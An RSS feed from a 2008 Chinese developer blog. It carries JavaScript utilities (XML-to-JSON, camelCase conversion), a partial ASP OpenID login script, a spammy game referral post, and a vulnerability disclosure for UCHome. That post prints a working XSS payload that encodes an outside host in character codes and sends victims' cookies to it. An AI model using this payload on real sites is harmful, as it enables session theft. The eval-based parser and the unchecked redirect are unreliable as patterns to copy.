<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="rss/rss.xsl"?>
<rss version="2.0">
<channel>
<title><![CDATA[fisker's blog]]></title>
<link>http://ifisker.com/blog/</link>
<description><![CDATA[good luck and have fun]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2006 fisker]]></copyright>
<webMaster><![CDATA[lionkay@gmail.com]]></webMaster>
<generator>fisker</generator> 

    <item>
	<link><![CDATA[http://ifisker.com/blog/item.asp?id=847]]></link>
	<title><![CDATA[fisker:上班无聊的朋友有东西玩了]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Thu, 09 Oct 2008 10:35:45 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/item.asp?id=847]]></guid>	
	<description><![CDATA[上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br /><br />上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br /><br />上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br /><br />上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br /><br />上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br /><br />上班无聊?就玩网页式网络游戏&quot;武林三国&quot;　http://u.9way.cn/50sg/uport/u227310_26<br />]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/xml2json.html]]></link>
	<title><![CDATA[fisker:XML2JSON]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Sun, 28 Sep 2008 17:11:25 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/xml2json.html]]></guid>	
	<description><![CDATA[好像还有些xml不能转换，有兴趣的可以测试测试<br /><br />我并不建议使用xml.&nbsp;&nbsp;&nbsp;json才是王道<br /><br /><a href="http://www.x2y2.com/lab/xml2json.html" target="_blank" rel="nofollow">http://www.x2y2.com/lab/xml2json.html</a><br /><br />用法:<br /><br /><div class="code">FJSON.load(par);&nbsp;par&nbsp;可以是json对象，可以是json字符串，也可以是xml字符串&nbsp;返回json对象<br />FJSON.load以后可以直接用FJSON.json访问json对象<br />FJSON.getString(par);par可选，必须为json对象，留空则使用FJSON.json，建议load后使用FJSON.getString();<br />FJSON.toString(par);&nbsp;同FJSON.getString<br /><br />FJSON.getJson(par);par可选，必须为json字符串，留空则返回FJSON.json，建议load后使用FJSON.getJson()或FJSON.json;<br />FJSON.toJson(par);&nbsp;同FJSON.getJson<br /><br />示例<br />var&nbsp;xmlstr='&lt;fisker&nbsp;name=&quot;fisker&nbsp;Cheung&quot;&gt;&lt;address&gt;Shanghai,PRC&lt;/address&gt;&lt;age&gt;25&lt;/age&gt;&lt;homepage&gt;http://ifisker.com&lt;/homepage&gt;&lt;/fisker&gt;';<br />var&nbsp;fisker&nbsp;=&nbsp;FJSON.load(xmlstr);<br />alert(fisker.fisker[&quot;@name&quot;]);<br /></div><br /><br /><br /><div class="code">/*&nbsp;FJSON<br />by&nbsp;fisker&nbsp;http://ifisker.com<br />lionkay@gmail.com<br />2008-9-28<br />FJSON.dom2Object&nbsp;is&nbsp;from&nbsp;&nbsp;http://www.thomasfrank.se/xml_to_json.html<br />*/<br />var&nbsp;FJSON&nbsp;=&nbsp;{};<br />FJSON.load&nbsp;=&nbsp;function(data){<br />&nbsp;&nbsp;this.init();<br />&nbsp;&nbsp;if(!data)&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;if(typeof&nbsp;data&nbsp;==&nbsp;&quot;object&quot;){<br />&nbsp;&nbsp;&nbsp;&nbsp;this.json&nbsp;=&nbsp;data;<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;this.json;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;data&nbsp;=&nbsp;data.replace(/(^\s*)|(\s*$)/g,&nbsp;&quot;&quot;);<br />&nbsp;&nbsp;if(data.substring(0,1)==&quot;&lt;&quot;){//xml格式<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;_dom&nbsp;=&nbsp;this.string2Dom(data);<br />&#160;&#160;&#160;&#160;if(!_dom)return&nbsp;null;<br />&#160;&#160;&#160;&#160;var&nbsp;_object&nbsp;=&nbsp;this.dom2Object(_dom);<br />&#160;&#160;&#160;&#160;if(!_object)return&nbsp;null;<br />&#160;&#160;&#160;&#160;var&nbsp;_o&nbsp;={};<br />&#160;&#160;&#160;&#160;_o[_dom.nodeName]&nbsp;=&nbsp;_object;<br />&#160;&#160;&#160;&#160;var&nbsp;_jsonStr&nbsp;=&nbsp;this.getString(_o);<br />&#160;&#160;&#160;&#160;var&nbsp;_json&nbsp;=&nbsp;this.getJson(_jsonStr);<br />&#160;&#160;&#160;&#160;this.json&nbsp;=&nbsp;(this.havaRoot?_json:_json.root);<br />&#160;&#160;&#160;&#160;return&nbsp;this.json;<br />&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;this.getJson(data);<br />&nbsp;&nbsp;}<br />};<br /><br />FJSON.init&nbsp;=&nbsp;function(){//初始化<br />&nbsp;&nbsp;this.json&nbsp;=&nbsp;null;<br />&nbsp;&nbsp;this.havaRoot&nbsp;=&nbsp;true;<br />}<br /><br />FJSON.escape=&nbsp;function(txt){&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;return&nbsp;txt.replace(/[\\]/g,&nbsp;&quot;\\\\&quot;)<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;.replace(/[\/]/g,&nbsp;&quot;\\/&quot;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.replace(/[\&quot;]/g,&nbsp;'\\&quot;')&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.replace(/[\n]/g,&nbsp;'\\n')&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.replace(/[\r]/g,&nbsp;'\\r');&nbsp;&nbsp;&nbsp;<br />};<br /><br />FJSON.toJson&nbsp;=&nbsp;FJSON.getJson&nbsp;=&nbsp;function(str){<br />&nbsp;&nbsp;if(str!=undefined){<br />&nbsp;&nbsp;&nbsp;&nbsp;try{<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;this.json&nbsp;=&nbsp;eval('('&nbsp;+&nbsp;str&nbsp;+&nbsp;')');<br />&#160;&#160;&#160;&#160;}catch(e){}<br />&nbsp;&nbsp;};<br />&nbsp;&nbsp;return&nbsp;this.json;<br />};<br /><br />FJSON.toString&nbsp;=&nbsp;FJSON.getString&nbsp;=&nbsp;function(object)&nbsp;{<br />&nbsp;&nbsp;var&nbsp;_jsonStr&nbsp;=&nbsp;&quot;&quot;;<br />&nbsp;&nbsp;var&nbsp;i;<br />&nbsp;&nbsp;if(object==undefined)&nbsp;var&nbsp;object&nbsp;=&nbsp;this.json;<br />&nbsp;&nbsp;switch&nbsp;(typeof&nbsp;object)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;object&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;null&nbsp;or&nbsp;undefiend<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!object){_jsonStr&nbsp;+=&nbsp;&quot;null&quot;;break;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//array<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(object.join)&nbsp;{&nbsp;//数组<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;[&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;object.length;&nbsp;j++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(j&nbsp;&gt;&nbsp;0)&nbsp;_jsonStr&nbsp;+=&quot;,&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=(this.toString(object[j]));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;]&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//object&nbsp;with&nbsp;serialize&nbsp;function<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(typeof&nbsp;object.serialize&nbsp;==&nbsp;&quot;function&quot;){_jsonStr&nbsp;+=(object.serialize());break;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//object<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;{&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;needComma&nbsp;=&nbsp;false;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;name&nbsp;in&nbsp;object)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;value&nbsp;=&nbsp;object[name];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;if&nbsp;(typeof&nbsp;value&nbsp;!=&nbsp;&quot;undefined&quot;&nbsp;&amp;&amp;&nbsp;typeof&nbsp;value&nbsp;!=&nbsp;&quot;function&quot;)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;&nbsp;&nbsp;if&nbsp;(needComma){_jsonStr&nbsp;+=&quot;,&quot;;}else{needComma&nbsp;=&nbsp;true;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;&nbsp;&nbsp;_jsonStr&nbsp;+=(this.toString(name));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;:&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;&nbsp;&nbsp;_jsonStr&nbsp;+=(this.toString(value));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#160;&#160;&#160;&#160;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;}&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//object&nbsp;ends<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;number&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=(String(object));<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;string&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;\&quot;&quot;;<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;_jsonStr&nbsp;+=this.escape(object);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;\&quot;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;boolean&quot;:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=(object.toString());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_jsonStr&nbsp;+=&quot;null&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;return&nbsp;_jsonStr;<br />}<br /><br />FJSON.string2Dom&nbsp;=&nbsp;function(str){<br />&nbsp;&nbsp;if(str==undefined)&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;str&nbsp;=&nbsp;str.replace(/&lt;\?(.*?)\?&gt;/g,&quot;&quot;);<br />&nbsp;&nbsp;str&nbsp;=&nbsp;str.replace(/(^\s*)|(\s*$)/g,&nbsp;&quot;&quot;);<br />&nbsp;&nbsp;if(str.length&lt;1)&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;var&nbsp;xmlDom&nbsp;=&nbsp;function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;try{&nbsp;<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;_o&nbsp;=&nbsp;new&nbsp;ActiveXObject(&quot;Microsoft.XMLDOM&quot;);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;_o.loadXML(str);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;return&nbsp;_o;<br />&nbsp;&nbsp;&nbsp;}catch(e){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(new&nbsp;DOMParser()).parseFromString(str,&quot;text/xml&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}catch(e){return&nbsp;null;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}();<br />&nbsp;&nbsp;if(xmlDom==null)&nbsp;return&nbsp;null;&nbsp;<br />&nbsp;&nbsp;if(xmlDom.nodeType&nbsp;==&nbsp;9)&nbsp;xmlDom&nbsp;=&nbsp;xmlDom.documentElement;<br />&nbsp;&nbsp;if(xmlDom&nbsp;==&nbsp;null&nbsp;||&nbsp;xmlDom.tagName&nbsp;==&nbsp;&quot;parsererror&quot;)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;this.havaRoot&nbsp;=&nbsp;false;&#160;&#160;&#160;&#160;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;xmlDom&nbsp;=&nbsp;this.string2Dom(&quot;&lt;root&gt;&quot;+str+&quot;&lt;/root&gt;&quot;);<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;return&nbsp;xmlDom;<br />};<br /><br />FJSON.dom2Object=&nbsp;function(xml){<br />&nbsp;&nbsp;if(xml&nbsp;==&nbsp;undefined)&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;var&nbsp;o&nbsp;=&nbsp;{};<br />&nbsp;&nbsp;if(xml.nodeType==9)&nbsp;xml&nbsp;=&nbsp;xml.documentElement;<br />&nbsp;&nbsp;if(xml.nodeType!=1)&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;if(xml.attributes.length){&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;j=0;&nbsp;j&lt;xml.attributes.length;&nbsp;j++)&nbsp;o[&quot;@&quot;+xml.attributes[j].nodeName]&nbsp;=&nbsp;(xml.attributes[j].nodeValue||&quot;&quot;).toString();<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;if(!xml.firstChild)&nbsp;return&nbsp;o;<br />&nbsp;&nbsp;if(!xml.attributes.length&nbsp;&amp;&amp;&nbsp;!xml.firstChild)&nbsp;return&nbsp;null;<br /><br />&nbsp;&nbsp;for&nbsp;(var&nbsp;n=xml.firstChild;&nbsp;n;&nbsp;n=n.nextSibling)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(n.nodeType==4){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o[&quot;#cdata&quot;]&nbsp;=&nbsp;n.nodeValue;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(n.nodeType==3&nbsp;&amp;&amp;&nbsp;n.nodeValue.match(/[^&nbsp;\f\n\r\t\v]/)){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o[&quot;#text&quot;]&nbsp;=&nbsp;n.nodeValue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(!n.nodeName)&nbsp;continue;<br />&#160;&#160;&#160;&#160;<br />&#160;&#160;&#160;&#160;if&nbsp;(o[n.nodeName])&nbsp;{&nbsp;&nbsp;//&nbsp;multiple&nbsp;occurence&nbsp;of&nbsp;element&nbsp;..&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(o[n.nodeName].join){&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o[n.nodeName].push(this.dom2Object(n));&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o[n.nodeName]&nbsp;=&nbsp;[o[n.nodeName],&nbsp;this.dom2Object(n)];&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}else{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o[n.nodeName]&nbsp;=&nbsp;this.dom2Object(n);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}&nbsp;<br />&nbsp;&nbsp;return&nbsp;o;&nbsp;&nbsp;&nbsp;<br />};&nbsp;<br /></div>]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/rich4.html]]></link>
	<title><![CDATA[fisker:大富翁只这样玩滴]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Fri, 26 Sep 2008 22:14:21 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/rich4.html]]></guid>	
	<description><![CDATA[<img border="0" src="http://pic.yupoo.com/lionkay/96651640640e/asiy4j15.jpg" alt="powered by fisker"/><br /><br />哈哈]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/toCamel-toHyphen.html]]></link>
	<title><![CDATA[fisker:驼峰写法和连接符写法]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Fri, 19 Sep 2008 16:02:28 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/toCamel-toHyphen.html]]></guid>	
	<description><![CDATA[设置样式的时候会用到，因为IE只接受驼峰写法。<br /><br /><div class="code">&lt;script&gt;&nbsp;<br />String.prototype.toCamel&nbsp;=&nbsp;function(){<br />&nbsp;&nbsp;var&nbsp;s&nbsp;=&nbsp;this;<br />&nbsp;&nbsp;return&nbsp;s.replace(/\-([a-z])([a-z]?)/ig,function(s,a,b){return&nbsp;a.toUpperCase()+b.toLowerCase();});<br />}<br /><br />String.prototype.toHyphen&nbsp;=&nbsp;function(){<br />&nbsp;&nbsp;var&nbsp;s&nbsp;=&nbsp;this;<br />&nbsp;&nbsp;return&nbsp;s.replace(/([A-Z])([a-z]?)/g,function(s,a,b){return&nbsp;&quot;-&quot;+a.toLowerCase()+b.toLowerCase();});<br />}<br /><br /><br />alert(&quot;background-image&quot;.toCamel());&nbsp;//return&nbsp;backgroundImage<br />alert(&quot;backgroundImage&quot;.toHyphen());&nbsp;//return&nbsp;background-image<br />&lt;/script&gt;&nbsp;<br /></div>]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/uchome-bug.html]]></link>
	<title><![CDATA[fisker:UCHome 安全漏洞]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Fri, 05 Sep 2008 15:11:42 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/uchome-bug.html]]></guid>	
	<description><![CDATA[我给康盛发了个邮件，官方也没什么反应，反正我也不用UChome。那就公布下。<br /><br />主页风格设置页&nbsp;cp.php?ac=theme&nbsp;背景图设置处过滤不严，导致可以窃取用户cookie。<br />&nbsp;<br />漏洞利用代码：<br /><div class="code">);a:expression(location.href=(function(){var&nbsp;a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var&nbsp;Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j])}return&nbsp;Q}().substring(1,99)+document.cookie));.jpg<br /></div><br /><br />仅ie有效。<br /><br /><div class="code">function(){var&nbsp;a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var&nbsp;Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j]}return&nbsp;Q}().substring(1,99)</div><br />这段的运行结果就是http://x2y2.com/?<br />因为过滤了双引号，单引号也被转义，所以我想到这个方法构造字符串<br />然后后面加上document.cookie，怎样就可以在<a href="http://x2y2.com/" target="_blank" rel="nofollow">http://x2y2.com/</a>上面纪录cookies<br /><br /><br />演示可以看&nbsp;<br /><a href="http://u.discuz.net/home/600374" target="_blank" rel="nofollow">http://u.discuz.net/home/600374</a><br />或者<br /><a href="http://in025.com/?26" target="_blank" rel="nofollow">http://in025.com/?26</a>]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/openid-testing.html]]></link>
	<title><![CDATA[fisker:测试openid]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Wed, 03 Sep 2008 22:41:54 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/openid-testing.html]]></guid>	
	<description><![CDATA[openid&nbsp;testing<br />openid&nbsp;testingopenid&nbsp;testing<br />]]></description>
    </item>

    <item>
	<link><![CDATA[http://ifisker.com/blog/post/0809/asp-openid.html]]></link>
	<title><![CDATA[fisker:asp写的openid登录方法]]></title>
	<author>lionkay@gmail.com</author>
	<category><![CDATA[fisker's blog]]></category>
	<pubDate>Wed, 03 Sep 2008 21:37:29 +0800</pubDate>
	<guid><![CDATA[http://ifisker.com/blog/post/0809/asp-openid.html]]></guid>	
	<description><![CDATA[今天ftp上不去，回头把blog改下。<br /><br />以前好像看到sipo说asp写openid有些不能解决的问题，我也没查openid的规范。<br />这个对付简单的登录还是没问题的，不过代码还没测试。<br /><br />先放上来，有兴趣的可以看看<br /><br /><div class="code">&nbsp;&lt;script&nbsp;language=&quot;JScript&quot;&nbsp;runat=&quot;server&quot;&gt;<br />/*<br />ASP&nbsp;Openid<br />by&nbsp;fisker<br />2008-9-3<br />*/<br />var&nbsp;alert=print=write=function(str){Response.Write(str);}<br />var&nbsp;openid&nbsp;=&nbsp;new&nbsp;fiskerOpenid();<br />var&nbsp;input=getInput();<br />if(input[&quot;openid.mode&quot;]==&quot;id_res&quot;){<br />&nbsp;&nbsp;var&nbsp;nickname&nbsp;=&nbsp;input[&quot;openid.sreg.nickname&quot;];<br />&nbsp;&nbsp;var&nbsp;email&nbsp;=&nbsp;input[&quot;openid.sreg.email&quot;];<br />&nbsp;&nbsp;var&nbsp;returnUrl=input[&quot;return&quot;];<br />&nbsp;&nbsp;returnUrl&nbsp;+=&nbsp;returnUrl.indexOf(&quot;?&quot;)!=-1?&quot;&amp;&quot;:&quot;?&quot;;<br />&nbsp;&nbsp;returnUrl&nbsp;+=&nbsp;&quot;nickname=&quot;+nickname;<br />&nbsp;&nbsp;returnUrl&nbsp;+=&nbsp;&quot;&amp;email=&quot;+email;<br /><br />&nbsp;&nbsp;Response.Redirect(returnUrl);<br />}else{<br />&nbsp;&nbsp;if(input[&quot;openid&quot;]==&quot;&quot;||input[&quot;return&quot;]==&quot;&quot;){<br />&nbsp;&nbsp;&nbsp;&nbsp;Response.write(&quot;&lt;sc&quot;+&quot;ript&gt;&quot;);<br />&#160;&#160;&#160;&#160;Response.write(&quot;alert(\&quot;error\&quot;);&quot;);<br />&#160;&#160;&#160;&#160;Response.write(&quot;window.history.forward(1);&quot;);<br />&#160;&#160;&#160;&#160;Response.write(&quot;&lt;/sc&quot;+&quot;ript&gt;&quot;);<br />&#160;&#160;&#160;&#160;Response.end();<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;openid.url&nbsp;=&nbsp;input[&quot;openid&quot;];<br />&nbsp;&nbsp;openid.get();<br />}<br /><br />function&nbsp;getInput(){<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;input=new&nbsp;Array();<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;e=new&nbsp;Enumerator(Request.QueryString);<br />&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;!e.atEnd();e.moveNext()){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x=e.item();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input[String(x).toLowerCase()]=String(Request.QueryString(x));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;e=new&nbsp;Enumerator(Request.Form);<br />&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;!e.atEnd();e.moveNext()){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x=e.item();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input[String(x).toLowerCase()]=String(Request.Form(x));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;input;<br />}<br /><br />function&nbsp;fiskerOpenid(){<br />&nbsp;&nbsp;this.url=&quot;&quot;;<br />&nbsp;&nbsp;this.server=&quot;&quot;;<br />&nbsp;&nbsp;this.delegate=&quot;&quot;;<br />&nbsp;&nbsp;this.user&nbsp;=&nbsp;null;<br />&nbsp;&nbsp;this.trust_root=&quot;&quot;;<br />&nbsp;&nbsp;this.return_to=&quot;&quot;;<br />&nbsp;&nbsp;this.sreg_required=&quot;nickname,email&quot;;<br /><br />&nbsp;&nbsp;this.get&nbsp;=&nbsp;function(info){<br />&nbsp;&nbsp;&nbsp;&nbsp;if(!this.init()){Response.write(&quot;error&quot;);return;}<br />&#160;&#160;&#160;&#160;if(info!=undefined)this.sreg_required=info;<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;html=this.request(this.server,&quot;openid.mode=associate&amp;openid.assoc_type=HMAC-SHA1&quot;);<br />&#160;&#160;&#160;&#160;if&nbsp;(html==&quot;&quot;){Response.write(&quot;error&quot;);return;}<br />&#160;&#160;&#160;&#160;var&nbsp;assoc_handle&nbsp;=&nbsp;&quot;&quot;;<br />&#160;&#160;&#160;&#160;var&nbsp;assoc_type&nbsp;=&nbsp;&quot;&quot;;<br />&#160;&#160;&#160;&#160;var&nbsp;expires_in&nbsp;=&nbsp;&quot;&quot;;<br />&#160;&#160;&#160;&#160;var&nbsp;mac_key&nbsp;=&nbsp;&quot;&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;try{<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;var&nbsp;re=new&nbsp;RegExp(&quot;assoc_handle:(.+)&quot;,&quot;ig&quot;);<br />&#160;&#160;&#160;&#160;&nbsp;&nbsp;assoc_handle&nbsp;=&nbsp;re.exec(html)[1];<br 